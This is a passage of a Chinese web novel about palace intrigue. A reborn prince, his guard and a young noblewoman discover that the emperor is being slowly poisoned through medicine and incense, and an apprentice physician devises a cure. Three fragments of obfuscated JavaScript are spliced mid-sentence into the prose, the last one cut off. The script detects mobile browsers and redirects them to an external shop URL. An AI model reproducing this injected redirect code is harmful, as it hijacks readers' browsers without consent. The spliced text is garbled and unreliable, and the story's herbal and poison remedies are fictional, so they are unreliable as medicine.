乔国公瞪了他一眼，紧抿的嘴唇全没有张开的意思。两人目光相触，萧征不着痕迹地避过眼去。 这是只茹毛饮血的猛虎，任何生灵在他面前都要俯首乞怜，求老天别让自己成为他锁定的猎物。 魏国公此人，官拜从一品步军统领，总管京师卫戍、门禁、缉捕，当年还在做步军校时就有“鬼头判官”的诨名，传闻在他的严刑拷打下，没有不开口的人，只有再也开不了口的人。 传言断不可信，但萧征亲身体验过，所以深以为然。当年他举兵夺位前，一封休书让苏萦下堂，兵败后，乔国公为了帮外甥女泄愤，在他身上用了不知多少种酷刑。接连半月，他的意识在极度痛苦和一片混沌中无穷无尽地切换，浑身上下没有一块好皮，骨头不知断了几处。 舅舅，留他性命！ 他的命，最后是苏萦的一句话救下的。 她才不肯让他死，她要他活着，好让她能看着他越活越糟。好让他好好受着离弃她的报应。 他的指尖几不可查地一颤，但他随即便将这股生理性的战栗生生压了下去。后背顷刻间出了一层白毛汗，他强迫自己调整好表情，维持着从容端坐的姿态。 “哟，永宁王，着凉了吧？”嘉裕侯悠悠地开口，一双狐狸眼睛笑眯眯的。 什么都逃不过他前世岳丈的眼。 有人讽他是老鼠成精。他的鼻子能闻到人情绪的味道。 苏萦说，这世上没有我爹爹弄不来的东西。 他上辈子不以为然，因此跌了个大跟头。 这世上同样没有苏侯打听不来的情报。 夺位前夕，游说拉拢蠢蠢欲动的各方势力合纵瓦解他的部署，苏侯功不可没。 商人目光短浅，只重眼前利益，他后来才顿悟这话有失偏颇。 秦国丞相吕不韦，一开始也不过是个眼光毒辣的商人。 今生，我要让这二人，为我所用。 他在心中暗下决心，面上却适时露出一丝被长辈突然关怀时恰到好处的窘迫，低声道：“谢苏侯关怀，并无大碍。” 怎么回事，这小子身体不好？乔国公焦急又疑惑地瞥了苏侯一眼。 无妨无妨，大哥稍安勿躁。苏侯云淡风轻地回了他一个安抚的眼神。 房内舅甥母女，情真意切，聊得火热；房外三个男人，暗流涌动，一言不发。 步皇后不紧不慢地从内室走出，已重新梳妆，更显雍容。她的目光扫过在场众人，微笑道：“宴席的时辰快到了，诸位随本宫一同前往花厅吧。” 众人齐声应下，随皇后移步至设宴的花厅。在宫人的引导下，众人依次入席，于各自的席位后肃立等候。 萧庆来晚了，气喘吁吁地跑进来，一屁股就要坐在萧征边上，被他扯着胳膊拎了起来。 不多时，殿外传来内侍清越的通传声：“陛下驾到——！” 如同听到号令，席上众人立刻整理衣袍，垂首躬身，姿态恭谨。 皇帝萧弘德身着常服，在宫人的簇拥下缓步走入花厅，虽面带病容，但目光落处，威仪自成。他在主位前站定，低声道：“平身落座吧。今日是家宴，不必过于拘礼。” “谢陛下。”众人这才直起身，依照次序悄然入座。 苏萦在母亲身边坐下，偷偷朝身旁一瞥。方才还温柔可亲的母亲，此刻已是背脊挺拔、神色端肃的点星大将军；而刚还嬉笑逗趣的舅母，亦摆出一副目光沉静、仪态万方的国公夫人样子。 苏萦见状，也不自觉地跟着挺了挺腰板，心中莫名地骄傲： 华容郡主的仪态，也不差哦！ 她父亲同她一样，坐在席位的最下头。两人只隔着一条过道，她也故意不跟他目光相触。 “未晚！”她父亲轻声唤。 苏萦无奈抬头，见父亲正朝她 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“唔？”母亲这才抬头，朝自己丈夫的方向望去，苏侯果然正朝母女俩眉飞色舞。她这才飞快地扫视了一圈席上其他人的碗盏，确认完毕，重新转向女儿，用一种理所当然，不值得大惊小怪的语气轻声说：“有就有呗，你爹就是这样。快吃，凉了腥气。” 散了席，天色已晚，萧征送苏萦回宫。 “心情不错？”萧征望向苏萦挂着笑容的小脸，欣慰地点点头：“看来今日过来是对的？” 苏萦被戳破心思，有点别扭地顾左右而言他：“香粉和信，我刚交给我爹了。”说完快走两步，想甩开被看穿的窘迫。 “我娘刚才告诉我，”苏萦想了想，还是转过身来，眼中亮晶晶的：“陛下有差事交给我爹去办，他们这阵子会留在京城，不回秀州了。皇后娘娘说，可以常让他们进宫来看我。” “有还哥哥，”苏萦这才坦然地笑出来：“我好开心。” 萧征看着她毫无阴霾的笑容，心中百感交集，一种欣慰和感慨油然而生，不禁轻叹一声感慨道：“父母在，人生尚有来处。你能承欢膝下，是天大的福分，要懂得珍惜啊。” “哥哥，你一说话听起来好老。”苏萦嫌弃地皱起小脸儿，像看怪物一样看着他。 萧征一怔，五旬老魂露出马脚，尴尬地舔了舔嘴唇又清清嗓子：“…咳咳，这不是，是见你开心，心中感慨。你年纪尚小，不知世间‘树欲静而风不止’的遗憾……” “这句更老了！”苏萦毫不客气地打断他，甚至夸张地后退了半步，用小手在鼻子前扇了扇风：“怎么回事，我好像都闻到老人味儿了。” “啊！有还哥哥，你脸上是什么！”苏萦忽然惊恐地捂着嘴指向他的脸，吓得跳了一下。 “啊？我脸上——”萧征连忙朝脸上摸了两把，诧异道：“我脸上有什么？” “你长出胡子来了！好长！还在长，垂到地上去了！”苏萦的指尖一路向下，煞有其事地大呼小叫。 “…苏萦！”萧征这才领悟，气急败坏地紧追上去：“臭丫头，耍我是吧？” “哈哈哈哈…”苏萦得意地大笑着连忙朝前逃去，边跑还边嘲笑：“哥哥像个老山羊！” 宫灯映着红墙，照着一双小儿女嬉笑的身影，逐渐消失在路尽头。 21. 无心之失？ 袁鸣从宫外回来，径直走进青砖琉璃瓦的南三所，未成年皇子的统一住处。当今陛下子嗣繁茂，从前这里是挨挨挤挤，摩肩接踵，一位主子一间屋子，守夜的下人连张小榻也没地方搁。这几年众皇子们陆续成亲立府，搬出宫外，三座院落中只剩下步皇后的两位皇子，倒显得有些空荡了。 袁鸣一进书房就垮了肩膀，连松了的护臂都透着疲惫：“殿下，属下按您的吩咐，刑部、京兆府和几个相关的衙门全跑了一遍，近半年的往来文书和记录全调出来看了。属下嘴皮子都快磨破了，那些书吏翻来覆去就一句话：‘质心阁？那都是些市井传闻，话本子里的东西，无实证可考，做不得数。’关于那死囚，官方的卷宗记录得清清楚楚，死囚罪证确凿，本就该杀，也确实死了，合情合理，任谁也挑不出错处。至于那刽子手，卑职把刑部档案库翻了个底朝天，把那刽子手祖上三代的名册都调出来了，确实世代吃这碗饭。这都隔了好几天了，我一提起这事儿来，他老婆又哭晕过去三回。说从刑场回来还没事儿人似的磨刀呢，谁承想……” 他挪上前来，掏出个油纸包放在案上，是东街有名的酱牛肉：“顺道给您捎的。属下想着刽子手常去的酒铺或许有线索，结果您猜怎么着？那老板说这人确实有点不对劲，一个月前就开始大白天说梦话，什么''阎王账''''对不住''的。” 见萧征盯着牛肉不说话，袁鸣挠挠头又补充：“西市说书先生那儿我也打点了，他说质心阁的传说传了有一二十年了，可是谁也没真见过。老段子了，他现在都不愿意讲，说听众腻烦了。倒是有个老乞丐唱了段莲花落——”他抖着胳膊，模仿手上抄着竹筷敲破碗，捏着嗓子学唱：“''质心契，阎王账，欠债的拿命偿！''唱完就伸手要赏钱。” 袁鸣面露难色：“殿下，我家娘子前两天才又买了一批书，我这手头刚好不宽裕，就没舍得给，厚着脸皮跑了。要不等这月拿了月钱，我再去一趟，让他完整唱一遍——” 萧征扶额，苦笑着摆摆手。 袁鸣苦苦思索，忽然又想到什么，压低声音：“最邪门的是卑职回来时，总觉得有人影在宫墙外晃荡。可每次转身又什么都没有…”说着自己先打了个寒颤，甩了甩头驱散脑子里乱七八糟的想法，把牛肉往前推了推：“殿下您快尝尝，这是他们铺子今日最后一份了，属下挤掉三回鞋才抢到的。” 一股脑地说完，总算一屁股坐在书案对面泄气道：“殿下，这质心阁就像个鬼影子，人人都好像听过点风声，可细究起来，又谁都说不出个所以然来，更别提抓住它半点实质的把柄了。它好像根本就不存在，却又好像无处不在，查得属下…都有点害怕了…” 他抬眼看了看萧征，见对方脸上并无意外之色，忍不住带上了点个人情绪，垮起脸一摔手道：“殿下，您是不是…早就料到是这么个结果？那还让属下去查什么呀？这不是白忙活一场吗！不瞒您说，我家娘子才有了身子，反应得厉害，我娘的老寒腿这几日也犯了，家里正需要人照顾，我这——” 萧征赶忙抬手安抚他，把牛肉推过来示意袁鸣先吃。 萧征不禁心中酸楚。不查行吗？虽说是重活一世，这辈子和上辈子一点儿也不一样。就比如说，袁鸣上辈子根本都没夫人。 袁鸣还叉着腰有点愤愤的，往嘴里塞了两块牛肉大嚼一通，才平复下来，语气缓和道：“不过也多亏了您，属下才得了这么一桩好姻缘。要不是您提点属下，又愿意给属下做媒，属下和夫人也不能这么快就修成正果，兴许此生就错过了。” “殿下，您能不能在陛下面前提议一下，既有女子从军，能不能也有女子科举啊？我娘子，那真的是读书的天才！她要是参加科举，一定能中头名状元！”袁鸣一提起自己的爱妻，就两眼放光，打心眼里钦佩：“殿下，可不是我夸口，我娘子要是个男子，可得比我有出息多了！” 萧征看着他这副模样，想起前世他孤身一人、最终为自己所累，身首异处的结局，心中百感交集，又为今生他能获得幸福而欣慰。不禁由衷感慨，脱口而出道：“成了家的男人就是不一样。心里有了牵挂，做事便多了三分顾忌，却也多了七分底气。好好待她，这世上能让你觉得‘回家了’的，也就是这么个人了。” 袁鸣嬉皮笑脸地一摆手：“殿下，您这话说得老气横秋的，好像您娶过亲似的——” 话没说完，他猛地顿住了。萧征那一眼望过来，眼神里没有半分玩笑，而是一种深不见底的，仿佛穿越了漫长时光的泰然与慨叹。这哪是一个未经世事的少年该有的眼神，简直像袁鸣死了多年的爹上了身似的。 袁鸣心里咯噔一下，汗毛都竖起来了。 “殿下，您…”他往外瞥了一眼，忙掩紧房门，小碎步挪到萧征面前，极限压低声音，表情夸张，每个问句都透着惊疑：“您在哪儿…什么时候——华容郡主知道这事儿吗？” “什么乱七八糟的！”萧征心头一跳，这才意识到自己说话又怪起来，忙打着哈哈遮掩过去，用力推了袁鸣一把：“我怎么会娶过亲呢！我看你是被你家夫人的才气冲昏了头，开始说胡话了！” “殿下您，您又逗我！”袁鸣被他推得踉跄两步，顺势硬挤出两声干涩的苦笑来，虚张声势地指着萧征：“吓死属下了！您这阵子真是学坏了啊！” 袁鸣反手摸着凳子坐下，屁股不踏实地挪了两回。刚才的古怪对话说是完了，两人心里都还没放下，目光一触，袁鸣还嘿嘿嘿嘿地干笑。两人你伸一下手，我伸一下手，做了几个假动作，都不好意思到书案上拿牛肉，手像没地方放似的，你搓鼻子我捂嘴，房中一时十分滑稽地静默。 “哟，袁侍卫也在啊！”苏萦这时正好松松爽爽地踏进书房，对两人之间的尴尬浑然不觉：“你们干嘛呐？” “郡主！”袁鸣从凳子上弹射起来，目光在萧征和苏萦脸上快速溜了几遍，把逼到嘴边的疑虑生咽下去，指着书案上的纸包刻意道：“郡主——吃牛肉！” “我不吃，太柴了。”苏萦嫌弃地摆摆手。 “苏未晚！”萧征也抬起头，咬牙切齿地沉声道：“这是什么地方，是你说来就来的？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799171|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “这是南三所啊。”苏萦无辜地用上目线看着他：“是是，这是皇子居所，后宫女子不该来。可是现在就你和萧庆两个人住，也没有外男嘛！” 苏萦苦着小脸嫌弃地抱怨：“袁鸣，你有没有发现他这次回来就变得特别爱说教，一说起话来显得特老——” “特老！”袁鸣一乍手，点头如捣蒜。 苏萦被他强烈的反应吓了一跳，茫然疑惑道：“我说笑话呐，你表情怎么这么正经？” “袁鸣，你先出去。”萧征急着避开这个话题：“这里不是后宫，人多眼杂，你去门外守着，别让外人看着她。” 袁鸣欲言又止，愁眉苦脸地退了出去。 苏萦从袖中拿出一张字条：“我爹给我的。” “苏侯动作好快啊。”萧征欣慰接过。 “那是自然，我爹是谁。”苏萦随口答道，都没意识到自己语气中含了几分得意。 “与你那天推出的香方相同？”萧征定睛一看，皱紧眉头：“那为什么…” “比例不对。”苏萦指着字条上一处：“我爹把香料的配比都写在这儿了，还有香材入宫的批次，也在后面标好了。” “我刚照着这个配比调了一次，还是有细微的差别，你看这里，”萧征循着苏萦的手指望过去：“我爹圈出来了，这里龙脑香的比例高得出奇，香味却淡，不如我爹上一批送来的纯度高。” “不是上一批进贡的龙脑香？”萧征蹙起眉头。 “没错。可我刚去问了，宫中库房里明明还有不少剩余，若是依制调配的，为什么不从库房取用呢？” “龙脑香…”萧征低声呢喃着思索。 “那你再看看这张配方里，有没有什么与龙脑相克的药材？” “这是，陛下吃的养心丹？”苏萦迅速地扫视一遍：“附子药性燥烈，长期服用，心火亢盛；龙脑又有‘走窜开泄’之性，能打开人的经络毛孔，使得原本被身体努力禁锢的附子燥烈之毒，得以长驱直入，直接侵入心包经络，使人心神不宁，心气衰竭，继而形成全身性的虚损——” “正是父皇的病症。”萧征镇定地低声接下去。 “真的有人要害陛下？”苏萦震恐地双手捂住嘴巴：“是谁？” “当下最紧要的是停药停香，找出解毒之法。至于幕后之人，一旦事情败露，不劳我们出手，陛下一定会让人彻查清楚。” “可是，这事发生的太巧了。”苏萦紧皱眉头：“你说，会不会根本没有背后之人，只是阴差阳错，无心之失？纯度不够的龙脑香，也只是谁随手进献给陛下的礼物——” 无心之失？萧征念随心动，想起那枚血泊中的质心契来。谁能把事情做得像是巧合，让人一点把柄也抓不住？ “未晚，你见过这个吗？”他扯过一张纸来，提笔描下质心契的样子。 “这是什么？”苏萦疑惑地歪着头看：“有点像庙里求的签。” “你没见过，”萧征抿着唇长出一口气：“那就只好，再求你父亲帮个忙了。” 22. 病在膏肓，岂因祸福避趋之。 送走苏萦，萧征自己刚要抬腿往外走，却被去而复返的袁鸣堵在门前拦了下来。袁鸣脸上还带着点局促，欲言又止。 萧征以为他还在纠结刚才的事，无奈地先开口：“袁鸣，方才书房里的话，真的是误会，我同你开玩笑的。” “没有没有，殿下您别多想，属下找您是有别的事，正事！”袁鸣连忙摆手，脸上那点局促变成了实实在在的为难，他搓了搓手，像是下定了某种决心，躬身抱拳，声音都低了几分：“殿下，属下，属下斗胆，求您一件事。” “说吧。”萧征神色一正。 “是这样，”袁鸣抿了抿嘴唇艰难道：“家里眼看要添人进口了，本是天大的喜事。可是…属下俸禄实在有限，没钱给娘子买些像样的补品调养身子。本来吧，我精打细算着，觉得日子过得紧巴点也刚好够用，可您知道，我娘子她爱书如命，近来又买了不少典籍孤本。买书是正事，是雅事，万没有从这上头省钱的道理。” 他越说声音越小，头也埋得更低：“属下想着，殿下您近来宫中事务也不算太繁忙，属下…属下这阵子能不能，不当值时，就不必在宫里干耗着了…您若没什么特别的吩咐，容属下出去寻些力气活，或是帮人押押镖，好歹能贴补些家用。”他说完，不敢看萧征的眼睛，只盯着自己的靴尖。 萧征看着他这副模样，心中又是好笑又是酸楚。好笑的是这憨货为了支持娘子，连出去做苦力的主意都想出来了；酸楚的是，前世袁鸣孤身一人，陪他南征北战，何曾想过这些家长里短、银钱琐事？袁鸣前世连性命都愿意舍给他，今生他如何能眼睁睁看着袁鸣为几两银子如此作难？ 袁鸣啊，你上辈子也有如此为难的时候吗？那时，我对你疏于关照，你心中可有怨我的时候？有没有想过，前世跟我一场，本就是不值得？ 这念头如针刺心，让他一时怔住，望着袁鸣的眼神里不自觉地带上了前世的愧疚与悲悯。 “殿下？殿下？”袁鸣被他这“含情脉脉”、“欲说还休”的眼神看得心里发毛，茫然无措地在他眼前挥了挥手，声音都提高了几分：“我就是不当值的时候出去赚点外快，陪您的时候少了点，不是不回来了！您，您别哭啊！” 他看到萧征眼圈似乎有些发红，顿时慌了手脚，仿佛自己犯了天大的过错，连忙改口：“我不去了不去了！就当属下从来没跟您提过这事儿！” 他心里暗暗叫苦：殿下这悲天悯人的眼神简直跟庙里救苦救难的观世音菩萨似的，他是不是要立地成仙了啊！ 面前的萧征突然敛了悲伤神色，面色一沉，用不容置疑的语气斩钉截铁道：“从今往后，你的月钱往上涨二两。若是眼下还不够，我准你预支三个月的月钱，先把这阵子难关过去了再说。” “…啊？” 这巨大的转折让袁鸣彻底愣在当场，嘴巴微张，脑子一时没转过来。刚才不还在上演主仆情深、生离死别的戏码吗？怎么突然就…加钱了？还带预支的？ 看着他这副呆样，萧征心里那点剩余的酸楚终于被冲淡，他忍着笑，故意板起脸道：“啊什么啊？莫非嫌少？” “可是…这使不得啊殿下！”袁鸣反应了一瞬，忙连连摆手，脸上写满了“无功不受禄”的惶恐，“殿下，属下知道自己有几斤几两，这些年在您身边，多是些跑腿护卫的琐碎活，包括这次查质心阁，也没帮上什么实质的忙，净是白忙活。属下寸功未立，怎么好平白涨月钱？这于理也不合啊！” 萧征抬手打断他的推辞，眸色深深地看着他，缓缓道：“袁鸣，你能陪在我身边，本身就是大功一件。你的忠心，你的尽责，比破获十起大案更珍贵。让你和家眷为银钱所困，是我这个做主子的失职。给你，你就拿着，好好照顾你娘子和你母亲，让她们安心，你才能更安心地当差。这不是赏赐，这是…份例。” 袁鸣愣在原地，看着萧征眼中不容置疑的真诚与关怀，喉头滚动了几下，千言万语堵在胸口，最终只化作深深一揖，声音有些哽咽：“殿下，您这…您这可真是…以后属下这条命更是您的了！” “我要你的命做什么？”萧征终于忍不住笑骂了一句，抬手虚扶了他一把：“你的命好好留着，给你家未来的女状元和老太君颐养天年吧！赶紧滚去账房支钱！耽误我的正事。” “诶！好嘞！谢殿下！殿下您真是救苦救难的活菩萨！”袁鸣顿时眉开眼笑，麻利地行了个礼，几乎是蹦跳着转身跑了，那轻快的背影与方才的愁眉苦脸判若两人。 萧征看着他的背影，无奈地摇了摇头，嘴角却噙了一丝笑意。 袁鸣突然反应过来，往前跑了几步又猛地折返：“殿下，您刚说要出去，是去办什么事啊？属下闲着也是闲着，替您跑一趟吧！” “不必，”萧征摆了摆手，神色凝重：“这事，必得我亲自去一趟。” “去哪儿啊？” “太医院。” 袁鸣一听，立刻拍着胸脯道：“去太医院那更不用您亲自去了！您需要什么药材、要问什么方子，属下保管给您办得妥妥当当！再不济，您要找哪位太医，属下给您叫过来问话不就得了吗？” 萧征停下脚步，目光深沉地看了袁鸣一眼，声音压低了几分，带着一丝不容置疑的凝重：“袁鸣，你当太医院是什么地方？那里如今鱼龙混杂，各方势力盘根错节。保不齐，陛下此次中毒，太医院里就有人参与其中，若贸然去问，被下毒之人安插的内鬼知晓了，岂不打草惊蛇。此事关系重大，我必须亲自去探一探虚实。” 袁鸣倒吸一口凉气，脸上的轻松瞬间被震惊取代，他下意识地左右看了看，压低声音：“殿下，您的意思是…那咱们在太医院，有能信得过的人吗？” 有。 可是他现在考没考进太医院还不好说呢。 萧征心中苦涩地想。 太医院与南三所只隔着一道宫墙。 萧征踱进太医院，穿过廊庑，径直往最里面的药房走去。 药房里弥漫着浓郁的草药味，一个穿着青色衣袍的青年学徒正背对着门口，蹲在一个小药炉前，手里拿着一把旧蒲扇，小心翼翼地扇着火，控制着火候。 萧征没有出声，只是静静地看着这个熟悉的背影。前世，他兵败被囚、伤重濒死之际，唯有此人不畏强权，独自深入诏狱为他疗伤。他仍记得这人俯身在他身前，痛心疾首地叹息：“殿下，何至于此啊！” 许是察觉到身后的目光，青年学徒回过头，看到一位衣着华贵、气度不凡的年轻贵人站在门口。他连忙站起身，脸上带着些许疑惑和拘谨，拱手道：“这位贵人，您找哪位太医？师傅们都在前头坐班。” 萧征看着他年轻却已初现沉稳的脸庞，微微一笑：“我是专程来找你的。” “找我？”青年更加诧异，指了指自己，“贵人怕是认错人了？我如今只是个学徒，只做些抓药熬药的杂活，还没资格给宫中的贵人诊病呢。” “不会错。”萧征踱步上前，目光扫过炉上咕嘟冒泡的药罐，随意地问道：“温元正，你对太医令王大人的医术怎么看？” 名叫温元正的青年瞳孔微缩，犹豫了一下，但看着萧征似乎并无恶意，眼神中反倒还带着鼓励，他骨子里那份属于医者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799172|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的耿直便簌地冒了出来，低声道：“贵人要听实话？王太医令…医术固然精湛，但太过保守，墨守成规。有时白白耽误了病情，反倒害了人命。” 他顿了顿，声音不大却带着一股初生牛犊的锐气：“若我为人看病，当讲究‘有是证，用是药’，力求一针见血，直达病灶。用药如用兵，贵在精准，岂能因惧险而逡巡不前？” 果然，还是前世那个医术精湛、胆识过人的“温一针”。萧征心中一定，不再绕圈子，从袖中取出两张文书，递了过去。 “我这里有两张方子。有人因长期同时接触此两者，如今性命垂危。你能判断出患者此时的症状吗？” 温元正疑惑地接过，仔细看去。起初神色平静，但随着目光在“附子”与“龙脑香”两味药上来回移动，他的眉头越皱越紧，脸色也逐渐变得凝重。 “附子虽经炮制，药性依然燥烈，久服易耗伤心阴，助长虚火。而这檀香中竟添了大量龙脑，其性走窜，能开窍透络，引附子大热之毒直攻心脉，此为‘火借风势’。两物相激，热毒挟痰浊闭阻心脉，以致心神昏聩，心气衰竭…”他猛地抬头，眼中闪过一丝惊骇：“此乃…此乃慢毒之法！” 萧征目光一凝，沉声道：“不错。如今患者病体沉疴，症状皆合。温太医，此毒，你可有破解之法？” 温元正闻言，深吸一口气，强压下心中的震惊。他闭目沉思片刻，再睁眼时，眸中已尽是医者的专注与锐利。他快步走到案前，铺纸研墨，边写边道：“此毒火借风势，痰浊闭窍，非单一之法可解。需以黄连、金银花为君，苦寒直折，清解热毒；臣以胆南星、石菖蒲、郁金，涤痰开窍，醒神定惊；佐以太子参、麦冬、五味子，此乃生脉散之意，益气养阴，固护心脉本源，防其脱绝；使以丹参、赤芍，活血化瘀，通络止痛。诸药合用，方可清解药毒，涤痰开窍，益气复脉！” 他笔下不停，一张完整的药方已然写成，吹干墨迹，双手奉予萧征：“此方名为 ‘清心化毒复脉饮’ ，或可一试。” 萧征接过药方，扫了一眼，笔力遒劲，一气呵成，正是记忆中温元正效力卓著的风格。他凝视着眼前青年，一字一句地问：“既已洞悉症结，药方在手。那我若告诉你，中毒之人正是当今圣上。此药，你敢不敢用？” “圣…”温元正脸上的兴奋瞬间冻结，血色褪尽，拿着纸的手微微颤抖。他猛地抬头看向萧征，眼中充满了难以置信的惊惧。 萧征逼近一步，声音低沉，却带着一种无形的压力：“怕了？从前是谁说，有朝一日若自己做了太医令，定‘只看病，不看人’，无论患者是王公贵族还是贩夫走卒，都不妨害你大刀阔斧，施救于人的？” 温元正浑身一震，如同被一道闪电劈中，他惊疑不定地上下打量着萧征，声音都有些变调：“你……贵人究竟是谁？怎么会知道我说过这话？” “我是谁不重要。”萧征的目光锐利如刀，紧紧锁住了他，“重要的是，这能救陛下性命、挽大朔江山于倾颓的药方，你，温元正，敢不敢开？敢不敢担此干系？” 药房中陷入了死一般的寂静，只有炉火偶尔发出的噼啪声。温元正的胸口剧烈起伏，额角渗出了细密的汗珠。这短短的几息之间，他仿佛看到了自己未来的一切荣辱，甚至生死。 然而，仅仅是一瞬。 他眼中属于医者的光芒最终压倒了恐惧与犹豫。他深吸一口气，再抬起头时，眼神已然变得坚定而清澈，他朝着萧征，也朝着自己选择的命运，重重地点了一下头： “病在膏肓，岂因祸福避趋之？我敢！” 23. “这马车怎么这么窄？” 萧征预料到父皇知道内情后会大发雷霆，因此及时阻止了父皇降罪于寝宫的下人们，将此事按下没有声张。 预料到父皇会对太医院的一个年纪轻轻的小郎中充满鄙薄，好说歹说，费尽口舌，总算让温元正来给他看了诊。 没预料到温元正开的方子里需要的药引这么刁钻。 “不是，温郎中，”袁鸣眉头一皱，深刻怀疑：“您开出的药引…您自己见过吗？” “三年以上老药灶下的“百草霜”三钱…”苏萦照着方子念出声来。 “郡主，什么叫‘百草霜’啊？听起来玄之又玄的。”袁鸣好奇地发问。 “就是药炉下的锅底灰吧？”苏萦猜测道。望向温元正，见他点了点头。 “那可以从太医院直接取用啊，那儿可是日日夜夜一刻不停地熬着各宫里的药，要找一只三年未断火的药罐，还不简单吗？” “我先也像你这么想。”萧征轻叹了一口气：“可是——” 温元正接口道：“太医院药灶所用之药，君臣佐使变化无穷，其灰烬药性混杂，寒热交织。以此‘杂气’为引，如同让一支号令不明的军队去救驾，非但无用，恐生大乱！” “嗬！”此话一出，袁鸣和萧庆这等外行人都倒吸一口凉气。 “那我们该上哪儿找？”苏萦蹙起眉头。 温元正朗声道：“陛下乃真龙天子，身居九重宫阙，所受的是至精至纯的‘龙气’。此番所中之毒，是阴诡算计之‘邪气’。若以宫内之物解宫内之毒，如同以油灭火，其性相近，恐难根除。而民间老灶，扎根于黄土，连接地脉，炊烟日日上达于天，其所积‘百草霜’，凝聚的是最质朴、最旺盛的‘生民之气’与‘烟火阳气’。唯有以此至阳至朴的‘生发之气’为引，才能涤荡深藏于龙体内的阴诡‘邪气’。此乃 ‘以人间烟火，破宫廷阴霾’ 之理。” “‘百草霜’需取‘至诚至纯’之家，数年如一日，为至亲煎药求生，其间蕴含的‘念力’与专注，方能化為药引的‘灵性’。宫中药灶不过是例行公事，冷冰冰的，没有这份‘心气’在。诸位要找的，不是一味药，而是一味‘药引之魂’。” 萧庆听得云里雾里，不耐烦地抠抠耳朵：“什么气和什么气？” 袁鸣呆呆地眨了眨眼，用最浅显易懂的话语总结道：“要到民间去，找一个穷得叮当响的好人家，即使穷得叮当响，也一直坚持给家中病人连着吃了三年的药…” “袁侍卫所言甚是。”温元正赞许地点点头。 苏萦和萧庆也似懂非懂地跟着点点头。 “还有经霜三年的甘蔗梢五根…” “这甘蔗梢应该最好找吧？哪个懒汉家的地常年荒着，正好又种了甘蔗的，我们去买几根就是！”萧庆急吼吼地开口，这就要起身往外走：“我这就差人买去！” “十九殿下，属下觉得，倒也不会太好找。”袁鸣为难地开口：“如今连年战乱，年景不好，百姓的地都不够种，但凡有一块空闲的土地，八成早就让人占了，哪会让一片甘蔗田荒废三年之久啊？” “啊？”萧庆茫然地望向萧征：“哥，真的吗？” “你既不识人间疾苦，就别跟着添乱了。”萧征白他一眼。 “嘁！你又比我多知道多少？”萧庆环抱双臂生起了闷气。 “最后是…童便一杯？噫！”苏萦嫌弃地咧了咧嘴，略加思索道：“童子？那宫里最晚出生的男童，不就是——”苏萦抬起一根手指指向萧庆：“——你。” “休想啊！我，我…”萧庆捂着裤带涨红了脸，十四岁的大男童誓死不屈，脖子都要摇断了。 “陛下病重，这是关乎国家社稷的大事，你牺牲一下怎么了？”苏萦看萧庆发慌，更来劲了，坏笑着眯起眼来一步步逼向他。 “十九殿下并非最佳人选。”温元正打断二人：“童便需以满月前一天男童清晨首泡尿中间一段为佳。” “哦，”苏萦嬉笑着一指萧庆：“嫌你太老了！” 皇宫中已许久没有孩子降生，年长的几位皇子公主也年逾四十，若要新生儿，怕是要到重孙里去寻了。 “三嫂最近是不是要临盆了？”萧征猛地想起晋王妃来。虽然萧谅为父皇所不喜，可若这新生儿的童便能为陛下药引所用—— “哦，已经生了。我才从娘那儿过来，正赶上晋王派人报喜，说生了个姑娘。”萧庆随口接上。 真不凑巧。萧征皱起了眉头。此次为父皇疗毒，若是他一手操办，定又要引萧谅妒忌，若让萧谅也有所助力，父皇至少也会连带着嘉奖他一番。 三件药引暂时全都没有眉目，一时满房寂静。 “明白了，”萧征利落起身：“我即刻出宫。” “出宫？” “出宫！” 紧随其后站起来的还有他一双不省心的弟妹，两双大眼睛里闪着期待的光。 “你们两个，”萧征抬起一根手指指着这两个蠢蠢欲动的顽皮鬼，冷了声调威胁：“都给我在宫里，老老实实的待着。” “哦……” 两个小的沮丧地低下了头。 萧征打点行装，即刻动身，与袁鸣行至宫门前，见晋王府的马车远远地停在一边等候。 “晋王今日入宫了？”萧征疑惑道。 袁鸣茫然地摇摇头。 随即前面就走来了陛下身边的周总管：“告诉晋王府的车夫，”周总管夹着嗓子告诉给门前的守卫：“晋王今日出不来啦！让他先回去吧！” “周公公！”萧征追上折返回去的周总管：“晋王他——” “哎哟，是十七殿下呀？这是要出宫给皇上找药引子？快去吧快去吧，赶紧找回来，治好了皇上的病，皇上龙体舒畅，气儿也就顺了！您不知道啊，皇上这会儿的火气实在太大了！”周总管甩着两手，呲牙咧嘴道：“这不，突然就叫晋王进宫来议事，没说两句就骂起来，没骂两句就传了家法进去打起来了！皇上正在气头上，老奴也不好劝，谁知道是为了什么事儿啊？唉，这会儿晋王正在祠堂里罚跪呢，看这样子，今儿晚上是回不去啦！” “萧征一定尽快寻回药引，请陛下宽心。”萧征送走了周总管，忧虑地向皇室祠堂方向望了一眼。 父皇到底还是没控制住自己的脾气。他在心中忧叹。 其实他同父皇一样，也怀疑是萧谅从中作梗。萧谅年长，工于谋略，能服众。虽不得父皇喜爱，却是众兄弟们眼中继承皇位的不二人选。父皇已年逾古稀，还举棋不定，迟迟没有立储。迟则生变，萧谅要先下手为强，也在情理之中。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 